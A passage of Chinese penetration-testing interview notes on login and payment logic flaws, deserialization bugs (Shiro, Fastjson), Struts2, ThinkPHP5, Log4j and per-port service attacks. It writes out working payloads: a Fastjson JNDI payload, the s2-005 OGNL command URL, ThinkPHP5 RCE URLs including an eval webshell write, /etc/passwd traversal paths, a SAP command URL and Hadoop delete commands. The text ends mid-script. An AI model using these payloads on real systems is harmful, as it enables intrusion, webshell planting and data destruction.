4、查看登录页面源代码,看是否存在敏感信息泄露

5、不安全的验证码

  • 验证码不生效/可爆破/可重复利用

找回密码的时候获取的验证码缺少时间限制,仅判断了验证码是否正确,未判断验证码是否过期,导致验证码可以重复利用,同时如果验证码为4位存数字,可以利用正确验证码与错误验证码的返回值不同判断枚举验证码是否正确。

  • 验证码可识别

  • 指图片验证码比较”存粹”,没有点和线的干扰,可以利用工具自动识别验证码达到绕过。

  • 插件使用指南:https://gv7.me/articles/2019/burp-captcha-killer-usage/

  • 3.验证码绕过

    3.1 验证码回显前端

    获取验证码时验证码回显前端,并直接返回在Response内容中

    3.2 本地验证的绕过

    客户端在本地进行验证码的正误的判断,判断结果也可以在本地修改,导致可以修改状态值达到绕过效果。

6、在注册账号的时候,是否存在不安全的提示

7、不安全的密码,在注册账号的时候密码没有限制复杂度

8、任意无限注册账号

9、在暴力破解的时候不会限制ip,锁定用户

10、一个账号可以在多地登录,没有安全提示

11、账户登录之后,没有具备超时功能

12、OA,邮件,默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强制要求更改密码

13、逻辑漏洞,任意更改密码

14、越权漏洞,纵向、横向越权

15、数据包含有风险信息泄露,比如COOKIE

16、不安全的数字传输,密码为明文,未使用https证书

七、给一个登录框,你可以找出哪些逻辑漏洞?

1.用户名枚举
利用登陆时输入系统存在的用户名错误密码和不存在的用户名错误密码,返回不同的出错信息可枚举出系统中存在的账号信息。通过这种思路,利用手工方式,输入系统中存在的用户名和不存在的用户名,密码随意,尝试登录,查看其回显内容。
例如:输入存在的用户名admin,密码错误;输入不存在的用户名test,用户不存在。

2.任意密码重置
很多网站存在找回密码功能,但是未对发起密码重置请求的用户身份做校验,导致任意密码重置漏洞的产生。
比如有些网站的忘记密码,重置密码功能中只需要输入待重置密码的账号,并没有向用户绑定手机发送验证消息,导致攻击者可以重置管理员的密码。

这里举例的是最简单的一种情况,即便有些网站有向用户手机发送验证短信的功能,也可能存在这样的漏洞。
比如有时候验证码会直接在返回包中生成,或者验证码在本地认证,验证码可爆破,或者网页在找回密码时,向用户填写的手机号发送短信,由于没有校验机制,导致攻击者可以填写自己手机号重置管理员的密码,类似思路有很多,可以根据实际情况随机应变。

3.任意用户注册
应用程序未使用验证码等防自动化操作的方法,可批量注册。注册不需要验证码时,攻击者通过编写自动化脚本,实现程序自动提交注册信息;若注册需要验证码,但验证码位数不多于4位且为纯数字时,通过使用软件burpsuite的intruder功能穷举得到正确的验证码后,再结合自动化脚本工具即可实现批量注册垃圾账号。

4.短信轰炸
短信轰炸——赏金猎人的最爱
短信轰炸攻击是常见的一种攻击,攻击者通过网站页面中所提供的发送短信验证码的功能处,通过对其发送数据包的获取后,进行重放,如果服务器短信平台未做校验的情况时,系统会一直去发送短信,这样就造成了短信轰炸的漏洞。
短信轰炸又分为任意手机号短信轰炸和当前手机号轰炸,不同情况威胁级别不同。

5.任意用户覆盖
任意用户覆盖是用户注册模块中存在的逻辑漏洞,攻击者可以在注册页面恶意注册与已知用户同名的账号达到注销用户的目的。

同样的思路也可以利用到重置密码的思路中,在正常重置密码的流程最后一步修改重置密码用户。不同网站思路不同,主要根据数据包内容决定思路。

6.验证流程绕过
密码修改一般分为三个步骤:1)用户输入需要修改密码的账号;2)验证;3)密码重置。如果服务器在最后密码重置中没有对上一步流程进行进一步的校验,则可能导致验证步骤可以被绕过,从而可以修改任意用户密码。

测试方法: 在找回密码页面输入自己的账号,点击下一步进入获取验证码页面。点击获取验证码,提交获取的验证码,进入密码重置页面,记录密码重置页面的URL。在找回密码页面输入需要重置密码的他人账号,点击下一步进入获取验证码流程,点击获取验证码。在浏览器地址栏输入记录密码重置页面的URL,测试是否可绕过第二步验证直接进入重置密码页面。如果可以进入,直接输入新密码测试是否可以成功修改密码。

八、给你一个登录框,有忘记密码,注册,可以发短信有哪些漏洞?忘记密码存在哪些漏洞?

同上

  • 对发起密码重置请求的用户身份做校验,导致任意密码重置漏洞的产生。
    比如有些网站的忘记密码,重置密码功能中只需要输入待重置密码的账号,并没有向用户绑定手机发送验证消息,导致攻击者可以重置管理员的密码。
  • 应用程序未使用验证码等防自动化操作的方法,可批量注册。注册不需要验证码时,攻击者通过编写自动化脚本,实现程序自动提交注册信息;若注册需要验证码,但验证码位数不多于4位且为纯数字时,通过使用软件burpsuite的intruder功能穷举得到正确的验证码后,再结合自动化脚本工具即可实现批量注册垃圾账号。
  • 短信轰炸——赏金猎人的最爱
    短信轰炸攻击是常见的一种攻击,攻击者通过网站页面中所提供的发送短信验证码的功能处,通过对其发送数据包的获取后,进行重放,如果服务器短信平台未做校验的情况时,系统会一直去发送短信,这样就造成了短信轰炸的漏洞。
    短信轰炸又分为任意手机号短信轰炸和当前手机号轰炸,不同情况威胁级别不同。

九、fastjasion 反序列化漏洞了解过吗?如果使用 payload去 ping dnslog 外带执行一些系统命令入 whoami 如果 dnslog 没有回显你觉得是什么原因?

遇到Json考虑一下会不会存在FastJson反序列化漏洞
https://github.com/lemono0/FastJsonParty/tree/main

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

  1. 查看是否有FastJson漏洞
  2. 验证FastJson版本
    Java安全之Fastjson反序列化漏洞分析 - 先知社区(PDF)
  • 构造Payload,通过回显查看版本
    • Set[{“@type”:”java.net.URL”,”val”:”http://dnslog"}]
    • Set[{“@type”:”java.net.URL”,”val”:”http://dnslog"}
    • 或者解析
      1
      {"ext":"blue","name":{"$ref":"$.ext"}}
  • DNSlog验证
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://dnslog.cn/zcc",
    "autoCommit":true
    }

十、shiro 反序列化在利用时需要注意些什么?

Shiro 反序列化漏洞原理分析 - Geekby’s Blog (PDF)

  • 判断出现Shiro反序列化漏洞出现
  • 如何利用
  • POC
  • 危害和修复
  • 防御:
  • 应该尽量避免用户输入反序列化的参数
    如果确实需要对不受信任的数据源进行反序列化,需要确保数据未被篡改,比如使用数字签名来检查数据的完整性
    严格控制反序列化相关函数的参数,坚持用户所输入的信息都是不可靠的原则
    对于反序列化后的变量内容进行检查,以确定内容没有被污染
    做好代码审计相关工作,提高开发人员的安全意识

    十—、什么是 shiro 反序列化漏洞?怎么判断的?什么原理危害有哪些?shiro 反序列化漏洞,停留在表层,为什么需要序列化?过程是怎样的?shiro 反序列化你是怎么挖掘的?

JAVA反序列化
Java框架:Spring MVC、MyBatis、Dubbo、Maven、RabbitMQ、Redis、Shiro、Log4J
Java中间件:Apache、Tomcat、Struts、WebLogic、JBoss
• Java序列化就是指把Java对象转换为字节序列的过程,Java反序列化就是指把字节序列恢复为Java对象的过程
• 序列化的作用:在传递和保存对象时,保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中
• 反序列化的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象

序列化:将对象转为字节流,目的是方便对象在内存、文件、数据库或者网络之间的传递
反序列化:序列化的逆过程,即将字节流转为对象的过程

https://m.freebuf.com/news/280180.html

Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API:

1.认证-⽤用户身份识别,常被称为用户”登录”

2.授权-访问控制

3.密码加密-保护或隐藏数据防止被偷窥

4.会话管理-用户相关的时间敏感的状态

  • 判断:在 cookie 追加一个 rememberMe=xx 的字段,这个字段是rememberMeManager默认的,然后看响应头部可以看看是否有 Set-Cookie: rememberMe=deleteMe; 的字段则可判断使⽤shiro框架
  • 可以通过burp插件的⽅方式,在每一个请求发起时自动在cookie中追加探测字段(例如rememberMe=tkswifty),如果响应中包含=deleteMe则直接亮显示,那么就可以很便捷的发现使⽤shiro的站点,进一步进行利用
  • 一些cms本身就是基于shiro进⾏开发的,如jeesite、 jeecg

危害:
不安全的反序列化,主要造成的危害是远程代码执行
如果无法远程代码执行,也可能导致权限提升、任意文件读取、拒绝服务攻击等
https://m.freebuf.com/news/280180.html

十二、struts2 漏洞原理是调用了 ognl 组件的哪个接口的哪个方法?

https://cryin.github.io/blog/struts2-vulnerability-analysis-and-OGNL-research/

Struts2漏洞利用原理
上文已经详细介绍了OGNL引擎,因为OGNL过于强大,它也造成了诸多安全问题。恶意攻击者通过构造特定数据带入OGNL表达式即可能被解析并执行,而OGNL可以用来获取和设置Java对象的属性,同时也可以对服务端对象进行修改,所以只要绕过Struts2的一些安全策略,恶意攻击者甚至可以执行系统命令进行系统攻击。如struts2远程代码执行漏洞s2-005。

虽然Struts2出于安全考虑,在SecurityMemberAccess类中通过设置禁止静态方法访问及默认禁止执行静态方法来阻止代码执行。即上面提及的denyMethodExecution为true,MemberAccess为false。但这两个属性都可以被修改从而绕过安全限制执行任意命令。s2-005 POC如下

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

十三、struts2 的漏洞成因是什么?

struts2漏洞-CSDN博客(PDF)
https://blog.csdn.net/qq_52527336/article/details/125533839

十四、低版本微信漏洞配合谷歌浏览器是怎么利用的?

https://nic.huuc.edu.cn/info/1046/1832.htm

该漏洞存在于 V8 JavaScript 引擎中,攻击者可通过构造特制web页面并诱导受害者点击访问,以此触发漏洞执行远程代码。

影响版本为

Google Chrome < = 89.0.4389.128(正式版)
由于Chrome自身拥有沙箱保护,这两个漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。所以直接利用chrome漏洞相对鸡肋,但是仍然有不少基于v8等组件的软件,尤其是未开启沙箱保护的软件,面临着潜在的安全风险。比如微信

微信的默认浏览器使用了低版本的Chrome内核,而且相比较Chrome浏览器来说,微信的是默认不开启沙盒的,该漏洞的主要影响如果是开启了沙盒的话,对一般的用户来说并没有啥太大的影响,但是在没有开启沙盒的情况下,打开了payload链接,受攻击的几率是大大增加的

十五、说一下 phpmyadmin 漏洞的种类,fastjson 反序列化漏洞原理,exp 利用说一下 Shiro550、 721 原理说一下 thinkphp5rce 的原理

https://vuldb.com/zh/?product.phpmyadmin

一、一样的利用过程🍺
Apache Shiro框架进行登录,服务端在接收cookie时,会经过下面的流程:

1、检索RememberMe Cookie的值

2、Base64解码

3、AES解密(加密密钥硬编码)

4、进行反序列化操作(未过滤处理)

5、攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令

二、主要区别🍺
1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie

2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度高

三、版本问题🍺
1、Shiro框架1.2.4版本之前的登录时默认是先验证”rememberMe” Cookie的值,而不是先进行身份验证,这也是Shiro550漏洞能够利用的原因之一,攻击者可以利用该漏洞通过伪造”rememberMe” Cookie的值来绕过Shiro框架的身份认证机制,从而实现未授权访问

2、Shiro框架1.2.4版本之后的登录时先进行身份验证,而不是先验证”rememberMe” Cookie的值,所以攻击者需要知道受害者已经通过登录验证,并且Shiro框架已经为受害者创建了一个有效的会话,以便攻击者可以利用该会话ID进行身份伪造并绕过Shiro框架的权限控制机制

3、同时,Shiro框架的登录流程也是可以自定义的

https://blog.csdn.net/MDSEC/article/details/132398086 Thinkphp5

ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞

1
2
3
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
 /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php@eval($_POST[1]);?>

十六、有哪些编辑器漏洞?怎么判断编辑器?

https://www.cnblogs.com/bmjoker/p/8980697.html

编辑器漏洞估计在于Web的相关漏洞
比如一些管理的未授权,以及一些可输入/可上传相关的漏洞

十七、支付漏洞修复方案(怎样绕过第三方平台如微信支付宝)?log4j如何利用?说出详细的利用过程如何用 log4获取 webshell?

支付漏洞

一、快捷支付原理
商户网站接入支付结果有两种方式,一种是通过浏览器进行跳转通知,一种是服务器端异步通知

浏览器跳转:
基于用户访问的浏览器,如果用户在银行页面支付成功后,直接关闭了页面,并未等待银行跳转到支付结果页面,那么商户网站就收不到支付结果的通知,导致支付结果难以处理。而且浏览器端数据很容易被篡改而降低安全性。

简单地说,就是用户浏览器跳转到银行页面,付款成功,银行会发送一个返回包,使得浏览器重新跳转回商户页面,依赖于浏览器跳转。如果支付成功,关闭了银行页面,商户就接收不到支付结果,导致支付结果难以处理,而且,浏览器端的数据容易被抓包篡改。

浏览器跳转现在已经非常少见了。

服务器端异步通知:
该方式是支付公司服务器后台,直接向用户指定的异步通知URL发送参数,采用POST或GET方式。商户网站接收异部参数的URL对应的程序中,要对支付公司返回的支付结果进行签名验证,成功后进行支付逻辑处理,如验证金额、订单信息是否与发起支付时一致,验证正常则对订单进行状态处理或为用户进行网站内入账等。

例如,我们通过支付宝付款,支付宝接收到了付款,支付宝直接发送数据给网站,该用户已经付款,于是网站接收到了支付宝的信息。

大型网站一般使用服务器端异步通知。

二、常见支付漏洞
相对于其他漏洞来说,支付漏洞应该是大家最喜闻乐见的了,比如一分钱购买手机(但是大家渗透测试要有分寸)

支付漏洞属于逻辑漏洞,并不需要代码审计,挖掘这类漏洞有发散思维,往往有事半功倍的效果,简单来说就是不按常理出牌。

1、修改支付的价格
中国国旅一元买任意张数旅游票(支付逻辑漏洞)

支付三步曲——订购、订单、付款
在三个步骤当中,对任意一个步骤进行修改价格测试,如果前两步有验证机制,那么可以在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额可以尝试小数目或者负数。

渗透测试的时候,金额不要过千,如果被提起诉讼,容易触犯法律。

2、修改支付状态
同程旅交汇低价支付高价订单订单随意修改(另种支付漏洞隐患)

订单完成——未完成(混淆)
A订单-0001完成——B订单-0002未完成
付款时尝试把订单B的单号修改成订单A

3、不局限于付钱
积分、金币打赏皆可

东吴人寿商城积分支付漏洞(一秒成就中东大土豪)

4、修改订单数量
一支笔1块,买0支,或者买-1支,相当于免费
单 价 ∗ ( − 1 ) + 单 价 ∗ 1 = 0 单价(-1)+单价1=0单价∗(−1)+单价∗1=0

同程旅游网某处支付漏洞

5、修改附属值
例如,使用优惠劵进行消费,其一般出现在第二个步骤当中:确认购买信息。在这个步骤当中,可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功。甚至使用多张优惠券。

6、越权支付
存在u s e r i d = 123 user_id=123user
i

d=123这种传参时,尝试修改id,使用别人的钱包买东西。

7、无限制试用
例如,正常购买的参数为1,试用的参数为2,如果我们购买的时候,修改参数为2。

艺龙旅行网严重支付漏洞(只需知道银行信用卡号即可消费)

三、如何挖掘支付漏洞
1、找到关键的数据包
可能一个支付操作有三四个数据包,我们要对数据包进行挑选

2、分析数据包
支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠),要尝试对数据包中的各个参数进行分析

3、发散思维
多去思考开发者没有想到的地方

可以尝试WEB、PC、APP,APP可以使用夜神模拟器进行模拟,甚至就连二维码,我们也可通过二维码加码器,解码其中的信息

四、防御方法
1、后端检查每一项值,包括支付状态
2、校验价格、数量参数,比如产品数量只能为正整数,并限制购买数量
3、与第三方支付平台检查,实际支付的金额是否与订单金额一致
4、支付参数进行MD5加密、解密、数字签名及验证,可以有效的避免数据修改,重放攻击中的各种问题
5、金额超过阈值,进行人工审核

Log4j漏洞

日志记录器(Logger):日志记录器是Log4j的核心组件。它负责接收应用程序中的日志消息并将其传递到适当的目标。每个日志记录器都有一个唯一的名称,开发人员可以根据需要创建多个日志记录器实例。

日志级别(Log Level):Log4j定义了不同的日志级别,用于标识日志消息的重要性和严重程度。常见的日志级别包括DEBUG、INFO、WARN、ERROR和FATAL。开发人员可以根据应用程序的需求选择适当的日志级别。

Appender:Appender用于确定日志消息的输出目标。Log4j提供了多种类型的Appender,例如ConsoleAppender(将日志消息输出到控制台)、FileAppender(将日志消息输出到文件)、DatabaseAppender(将日志消息保存到数据库)等。开发人员可以根据需要配置和使用适当的Appender。

日志布局(Layout):日志布局决定了日志消息在输出目标中的格式。Log4j提供了多种预定义的日志布局,例如简单的文本布局、HTML布局、JSON布局等。开发人员也可以自定义日志布局来满足特定的需求。

配置文件(Configuration File):Log4j的配置文件用于指定日志记录器、Appender、日志级别和日志布局等的配置信息。配置文件通常是一个XML文件或属性文件。通过配置文件,开发人员可以灵活地配置日志系统,包括定义日志记录器的层次结构、指定日志级别和输出目标等。

Log4j提供了丰富的功能和灵活的配置选项,使开发人员能够根据应用程序的需求进行高度定制的日志记录。它已经成为Java应用程序中最受欢迎和广泛使用的日志记录框架之一
Apache Log4j任意代码执行漏洞_RCE - 🔰雨苁ℒ🔰
(PDF)

POC
https://github.com/kozmer/log4j-shell-poc

十八、log4j 有什么攻击特征?

https://xz.aliyun.com/t/13077?time__1311=mqmxnDBDuDcAiQYDsD7mN0%3DNF%2Bbx90G2iYD&alichlgref=https%3A%2F%2Fwww.google.com%2F
深入研究Log4j漏洞原理及利用 - 先知社区(PDF)

十九、怎么挖框架漏洞?java 框架漏洞了解多少,原理是什么?

框架漏洞可以去db看看相应的cve/cvnd ,然后根据指纹看看站点
github上找找POC

shiro、fastjson、st2

相应的原理有反序列化
JWT的伪造(越权)

二十、eureka xstream deserialization rce 是什么漏洞可以说一下嘛?说一下 shiro 和 fastjson 的漏洞触发原理

  • 不太清楚

二十一、有没有遇到 cms 的漏洞,详细讲一下

常见CMS 漏洞的目录(ODF)

各种常见的CMS
企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS等;

B2C商城系统:商派shopex、ecshop、hishop、xpshop等;

门户建站系统:DedeCMS(织梦)、帝国CMS、PHPCMS、动易、cmstop等;

博客系统:wordpress、Z-Blog等;

论坛社区:discuz、phpwind、wecenter等;

问答系统:Tipask、whatsns等;

知识百科系统:HDwiki;

B2B门户系统:destoon、B2Bbuilder、友邻B2B等;

人才招聘网站系统:骑士CMS、PHP云人才管理系统;

房产网站系统:FangCms等;

在线教育建站系统:kesion(科汛)、EduSoho网校;

电影网站系统:苹果cms、ctcms、movcms等;

小说文学建站系统:JIEQI CMS;

这种CMS看看源码然后审计,或许可以挖CVE

二十二、windows server 2003 有哪些系统漏洞?

  • DirtyCow
  • MS17-010永恒之蓝

二十三、redis 的端口是多少?有没有了解 redis 漏洞?是否进行过复现?说一下10 种端口对应的漏洞,说一下 weblogic漏洞

  • 6379

  • Redis漏洞

    • 这种带服务的考虑一下是否存在未授权访问
    • 越权写webshell
  • 10种端口对应的漏洞:

  • 22 端口(SSH服务)
    安全攻击:弱口令、暴力破解、用户名枚举
    利用方式: 使用九头蛇(hydra)进行弱口令 爆破、SSH隧道及内网代理转发、文件传输
    漏洞:28退格漏洞、OpenSSL漏洞

  • 23 端口(telnet)
    对应服务:Telnet终端仿真服务端口
    安全漏洞:弱口令、明文传输、 爆破、嗅探
    利用方式:1、通过弱口令或暴力破解,获取目标主机权限。2、嗅探抓取telnet明文账户密码。

  • 3389 端口(RDP远程桌面连接)
    对应服务:Windows远程桌面服务端口
    安全漏洞:暴力破解
    利用方式:通过弱口令或暴力破解,获取目标主机权限、 Shift后门(Windows Server 2003以下版本)
    相关漏洞:CVE-2019-0708

  • 5632 端口(Pcanywhere)
    安全漏洞:弱口令、暴力破解
    利用方式:通过弱口令或暴力破解,获取目标主机权限

  • 5900 端口(VNC)
    安全漏洞:弱口令、暴力破解
    利用方式:通过弱口令或暴力破解,获取目标主机权限。

  • 135 端口( DCOM )
    135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。
    漏洞: 利用RPC漏洞来攻击计算机

  • 445 端口
    对应服务: SMB文件共享服务端口
    攻击思路: 通过这个端口可以在局域网中轻松访问各种共享文件夹或共享打印机。
    相应漏洞:可能会导致勒索病毒、永恒之蓝等等

  • 873 端口 (Rsync)
    对应服务:Rsync服务
    安全漏洞:匿名访问、文件上传
    利用方式:执行下载/上传等操作,或者尝试上传webshell

  • 2181 端口(Zookeeper)
    安全漏洞:未授权访问
    检测方式:攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。 echo envi | nc ip port

  • 2375 端口(Docker)
    安全漏洞:未授权方式
    检测方式:通过docker daemon api 执行docker命令。

  • 389 端口(ldap)
    服务: 轻量级目录访问协议LDAP(Lightweight Directory Access Protocol),使用TCP和UDP协议。
    安全漏洞:未授权访问 、弱口令、注入
    利用方式:通过LdapBrowser工具直接连入。

  • 6379 端口
    端口服务:redis数据库默认端口
    攻击方式: 爆破:弱口令; 未授权访问+配合ssh key提权;

    1433 端口(Mssql)
       端口服务:mssql数据库默认端口
        安全漏洞:弱口令、暴力破解

    利用方式:差异备份getshell、SA账户提权等

    3306 端口(MySQL)
       对应服务:mysql数据库默认端口
        安全漏洞:弱口令、暴力破解

    利用方式:利用日志写入webshell、udf提权、mof提权等。

    1521 端口(Oracle)
      对应服务:oracle数据库默认端口
        安全漏洞:弱口令、暴力破解

    利用方式:通过弱口令/暴力破解进行入侵

  • 1090/1099 端口(RMI)
    安全漏洞:JAVA RMI 反序列化远程命令执行漏洞( java反序列化,调用 rmi方式执行命令)
    利用方式:使用nmap检测端口信息。
    端口信息:1099/1090 Java-rmi Java RMI Registry
    检测工具:attackRMI.jar

  • 80 端口
    端口说明: Jboos/Resin/Jetty/Jenkins
    利用方式: 反序列化、控制台弱口令

  • 443 端口
    端口服务: 443端口即网页浏览端口

  • IIS服务

    默认端口:80/81/443

    攻击方式:
    IIS
    PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
    短文件名泄漏、 解析漏洞。

  • 8080 端口(Tomcat)
    安全漏洞:弱口令、示例目录
    利用方式:通过弱口令登录控制台,上传war包。

  • 8080 端口(Jboss)
    安全漏洞:未授权访问、反序列化。
    利用方式:1、未授权访问控制台,远程部署木马2、反序列化导致远程命令执行等。
    检测工具: https://github.com/joaomatosf/jexboss

  • 8080 端口(Resin)
    安全漏洞:目录遍历、远程文件读取
    利用方式:通过目录遍历/远程文件读取获取敏感信息,为进一步攻击提供必要的信息。
    任意文件读取POC:
    payload1 = “/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd”
    payload2 = “/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd”
    payload3 = “/ ..\\web-inf”

  • 8080 端口(Jetty)
    安全漏洞:远程共享缓冲区泄漏
    利用方式:攻击者可以通过精心构造headers值来触发异常并偏移到共享缓冲区,其中包含了之前其他用户提交的请求,服务器会根据攻击者的payload返回特定位置的数据。
    检测工具: https://github.com/GDSSecurity/Jetleak-Testing-Script

  • 8080 /4848 端口(GlassFish)
    安全漏洞:弱口令、任意文件读取
    利用方式:1、弱口令admin/admin,直接部署shell 2、任意文件读取获取服务器敏感配置信息

  • 8080 端口(Jenkins)
    安全漏洞:未授权访问 、远程代码执行
    利用方式:访问如下url,可以执行脚本命令,反弹shell,写入webshell等。
    http://:8080/manage
    http://:8080/script

  • 7001 端口(weblogic)
    对应服务:weblogic控制台
    安全漏洞: 弱口令、SSRF、反序列化漏洞
    利用方式: 1、控制台弱口令上传war木马2、SSRF内网探测3、反序列化远程代码执行等

  • 8161 端口(ActiveMQ)

    安全漏洞:弱口令、任意文件写入、反序列化

    利用方式:默认密码admin/admin登陆控制台、写入webshell、上传ssh key等方式。

  • 8000 端口(jdwp)
    安全漏洞:JDWP 远程命令执行漏洞
    端口信息:8000 jdwp
    java Debug Wire Protocol检测工具: https://github.com/IOActive/jdwp-shellifier

  • 9043 端口(webSphere)
    安全漏洞:控制台弱口令、远程代码执行
    后台地址:https://:9043/ibm/console/logon.jsp

  • 50000 端口 (SAP)
    安全漏洞:远程代码执行
    利用方式:攻击者通过构造url请求,实现远程代码执行。
    POC:http://:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe /c ipconfig /all

  • 50070 端口(hadoop)
    安全漏洞:未授权访问
    利用方式:攻击者可以通过命令行操作多个目录下的数据,如进行删除操作。
    curl -i -X DELETE “http://ip:50070/webhdfs/v1/tmp?op=DELETE&recursive=true“
    curl -i -X PUT “http://ip:50070/webhdfs/v1/NODATA4U_SECUREYOURSHIT?op=MKDIRS“

    二十四、有没有做过攻击数据包分析?如果让你做攻击数据包分析,你觉得 XSS/文件上传/目录遍历攻击各会有哪些特征?

  • 对应关键字,尖括号或者file://等等

  • 对应的绕过

一些Payload也有特征,比如XSSPayload,而且有一些攻击是暴力的,可以看访问频率请求和ip

二十五、CSRF、 SSRF 和重放攻击有什么区别?

CSRF,SSRF,重攻击的区别
1.CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。

SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

重放攻击是将截获的数据包进行重放,达到身份认证等目的,是指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。

总结: CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

二十六、、XSs 和csrf结合,如何利用?

一.从xss谈起
攻1:攻击者通过向网页中注入Javascript代码(Js是一种脚本语言,可以写在html页面代码中)并成功执行,例如通过向web页面注入存在xss漏洞的网站该语句,当用户访问该页面时,就达到了窃取用户cookie的目的。这里其实是通过script标签绕过了浏览器的同源策略,实现了跨域。<img>、<link>、<iframe>、<svg>,<body>等标签进行绕过同源策略的限制实现xss攻击.
防1:面对上面举出的攻击方式,防御者应对的方法是给cookie加上了Http-Only属性:Set-Cookie:JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly .这样浏览器就不允许通过js代码读取cookie了。

攻2:其实上面的防御措施,还是没从根本上解决代码注入的问题,只是不允许拿到cookie,但还是没能阻止攻击者的注入攻击。例如这时候攻击者可以用JS代码写一个假的登录框,覆盖到真的登录框之上,让用户信以为真,这样就可以偷到真实的用户名和密码了。
防2:这时候防御者意识到还是要从根本上解决问题,不能让攻击者成功地实现代码注入。于是通过过滤<,’等特殊符号,并对输入进行转义和html编码,这样,攻击者输入的语句不能被正常执行了
二.XSS结合CSRF进行攻击
继续延续上节的攻与防.虽然Http-Only被设定了,恶意语句也被安全检查过滤了,但总有漏网之鱼,也就是安全检查不严格的网站。

攻3:用户的会话cookie在浏览器没有关闭的时候,是不会被删除的.攻击者换了思路,不再去窃取用户的cookie,而是直接利用它。例如,在存在xss漏洞的A网站上注入一条链接点击这里领取黑客秘籍<a href=”xxx.xxxx.xxx/test.php?money=1111”,当用户点击之后,进入攻击者提前写好的网站B,触发网站B中例如<img src=http://网站A/test.php?Id=1&money=100000>这样的恶意代码。这时候由于用户带有A网站的认证信息,B网站利用用户此时的请求,篡改GET或POST表单内的参数,在用户不知情的情况下请求A网站,完成转账,修改密码等恶意操作.我们将这种引诱用户触发攻击指令的方式称为CSRF攻击。
防3:为了防御csrf攻击,有二种思路。
1).Referer检查。攻击者虽然是利用用户的请求进行访问,但是Referer的内容显示的是B网站,也就是攻击者自己构造的网站。如果对Referer进行白名单检查,看是否来自合法的网站。如果不是,就极有可能是CSRF攻击。

2).添加Token验证。CSRF攻击成功的原因就是利用用户已经认证过的cookie信息。cookie中的身份信息在请求时会自动添加,所以我们要在cookie外再加入一种验证身份的信息。具体的做法是在HTTP请求中,以参数的形式加入一个随机产生的Token,并在服务器端建立一个拦截器来验证这个 Token,如果请求中没有 Token 或者 Token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。服务端生成的Token放在用户的session或者cookie中,浏览器提交的Token放在form表单中POST形式进行提交.

三.总结
对上面二段内容进行总结,其实从攻与防两个方面就可以说清楚。

攻 防
利用js脚本语言或标签(img…)进行盗取cookie Http-Only限制获取cookie
利用js脚本语言伪造网页内容获取用户信息 对输入输出进行转义或编码
xss结合csrf引诱用户触发恶意指令 Referer检查并添加Token验证

  • 举例来说,某个CMS存在XSS

  • 构造XML SSRF

    1
    2
    3
    4
    5
    6
    <script>
    xmlhttp = new XMLHttpRequest();
    xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
